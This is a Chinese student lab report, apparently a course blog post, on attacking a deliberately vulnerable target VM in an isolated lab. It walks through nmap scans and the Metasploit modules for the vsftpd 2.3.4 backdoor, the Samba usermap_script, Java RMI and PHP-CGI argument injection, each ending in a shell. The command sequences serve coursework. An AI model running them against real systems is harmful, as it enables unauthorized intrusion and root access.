1.实验内容

1.1本周学习内容

本周主要学习了利用msf实现对漏洞主机攻击的具体实现原理与过程,认识XP系统、win7系统存在的许多可利用漏洞,再次复习了namp的指令,学会了主机发现、系统扫描、漏洞扫描等技术。

1.2实验要求

(1)前期渗透
主机发现
端口扫描
扫描系统版本,漏洞等

(2) Vsftpd源码包后门漏洞(21端口)

(3) SambaMS-RPC Shell命令注入漏洞(端口139)

(4)Java RMI SERVER命令执行漏洞(1099端口)

(5) PHP CGI参数执行注入漏洞(80端口)

2.实验过程

2.1 前期渗透

首先在靶机命令行中输入ifconfig获取IP信息
同样的,也查看攻击方kali的ip

靶机IP:192.168.50.58
kaliIP:192.168.50.139


此时在kali中输入msfconsole进入控制台

2.1.1 主机发现

主机发现我们主要用到的是arp_sweep这一扫描技术(arp_sweep主要用于发现和识别局域网中活跃的主机。)
于是我们接着在kali中输入search arp_sweep
选择use auxiliary/scanner/discovery/arp_sweep这一个辅助模块
接着set rhost 192.168.50.58
然后exploitrun即可

或者在预先不知道靶机的IP情况下,我们也可以
设置set rhost 192.168.50.0/24扫描整个网段

于是如图获得目标靶机192.168.50.58 appears to be up (CADMUS COMPUTER SYSTEMS),其中括号部分表示该ip所属设备的MAC地址被识别为CADMUS COMPUTER SYSTEMS,
此时其他IP都未知,意味着这些主机没有响应ARP请求,或者扫描工具无法确定它们的操作系统。

2.1.2 端口扫描

另开一个命令行
输入nmap -p 1-2048 192.168.50.58获取目标靶机开放端口

然后输入nmap -sV 192.168.50.58可识别该主机上开放的端口上运行的服务的版本信息

2.1.3 扫描系统版本,漏洞

最后nmap -O 192.168.50.58进行操作系统检测
注意此处要使用sudo获取root权限才能进行系统扫描

同时还可以输入nmap -script=vuln -T4 192.168.50.58检查目标主机上运行的服务是否容易受到已知漏洞的影响

-script=vuln:选项,表示运行 nmap 脚本库中所有标记为检查常见漏洞的 NSE(Nmap Scripting Engine)脚本。

-T4:时间参数,表示扫描的速度级别。nmap 的时间参数范围从 0 到 5,其中 0 是最慢(最准确)的扫描,5 是最快(最不准确)的扫描。-T4 表示中等速度的扫描,比 -T5 慢,但比 -T3 快。

2.2 Vsftpd源码包后门漏洞(21端口)

已知靶机21端口处于开放状态
因此回到msfconsole
输入use exploit/unix/ftp/vsftpd_234_backdoor选择攻击模块
然后set rhost 192.168.50.58设置攻击目标
于是exploit监听执行

于是就实现了获取Shell的操作,uname -a、ifconfig等指令都显示确实是在目标主机上操作的。

2.3 SambaMS-RPC Shell命令注入漏洞(端口139)

此时实验环境改变

靶机IP:172.16.218.65
kaliIP:172.16.217.150

按上述步骤,经过端口扫描,发现靶机139端口开放且存在漏洞
因此我们在kali的msfconsole中
输入search samba查看可用的漏洞模块

于是use exploit/multi/samba/usermap_script
然后show options查看需要输入哪些参数

所以再输入set rhost 172.16.218.65设置被攻击方,即靶机的IP
exploit

可见最终成功获取了目标的Shell,攻击成功

2.4 Java RMI SERVER命令执行漏洞(1099端口)

同理
依次输入search rmi查看可用相关模块

接着输入use exploit/multi/misc/java_rmi_server
于是show options查看需要输入哪些参数
然后set rhost 172.16.218.65

最后输入exploit进行攻击

然后输入shell此时才获取到靶机的shell权限

可见whoami结果返回root,攻击成功

2.5 PHP CGI参数执行注入漏洞(80端口)

同理
输入search php_cgi

接着use exploit/multi/http/php_cgi_arg_injection
然后show options

于是set rhost 172.16.218.65
最后exploit
最终shell

可见获取到shell权限,攻击成功。

3.问题及解决方案

  • 问题1:在vm虚拟机中kali主机与靶机无法建立通信过程,表现为都设置桥接网卡情况下无法互相ping通,因此无法进行本次攻击实验。
  • 问题1解决方案:
  1. 在命令行中输入ps -ef | grep firewalld | grep -v grep关闭linux的防火墙
  2. 手动修改主机控制面板中网络适配器里关于vm虚拟机网卡的ip信息,目的是使两虚拟机中的ip处于同一网段,因为只有同网段才能在交换机间互ping。
  3. 在虚拟机中同样进行2的修改,windows虚拟机按类似的路径进入该界面,linux则需要根据型号的不同,分别vi 其网络配置文件地址,从而修改相应ipv4网络号
  4. 查看主机wifi所用的网卡型号

    在vm导航栏编辑中点击虚拟网格编辑器,点击更改设置,将VMnet0网卡的桥接目标由自动改为主机中wifi的网卡型号

以及许多奇妙的方法,但结果都失败了,特别是手动改网址后其ip反而变成一个网络号都不同的随机ip,直接168.开头。。。

最终我的解决方法是突发奇想,用virtual box以硬盘方式打开vm虚拟机文件中的.vmdk文件,从而实现在virtual box中进行操作而非vm虚拟机,因为virtual box的相关设置我已在之前配好了,以往的实验都是在virtual box里进行的,就是这个vm虚拟机实在是怎么都配不好,请配好的同学看了也还是不行。

4.学习感悟、思考等

在实际网络攻防中,msf为我们实现网络攻击提供了极大的便利,因此我们能以简单的search、use、set、exploit命令实现原先需要许多行代码才能实现得攻击,快的话甚至能在十多秒内实现对目标靶机漏洞的攻击。
实验的难点在于配置一个合适我们进行攻击的靶机,在虚拟机软件中配好相应的靶机环境,确保网络的互通,熟悉关于计算机ipv4的相关设置,弄懂什么是仅主机模式、nat模式、桥接模式等等
如果在上一次渗透作业中我早点想到去查是否可以将vm虚拟机用于virtual box的方法,也许我就可以很顺利地完成那些作业任务,因为我在virtual box中之前是按网上教程配置好了环境,但vm怎么都配不好,且老师给的靶机都是直接用于vm虚拟机的版本,所以结果就是靶机一直不能用于实验,浪费了太多时间在配靶机环境上,实际上最后我成功进行攻击的任务中的可用靶机,都是我在网上找相同型号的可用虚拟机镜像文件从而在virtual box中创建的(网上许多镜像文件也有问题,不能在我的virtual box上创建正常的虚拟机),输入攻击指令并没有花费多少时间。

参考资料

posted on 2024-11-19 09:43  20222319  阅读(14)  评论(0编辑  收藏  举报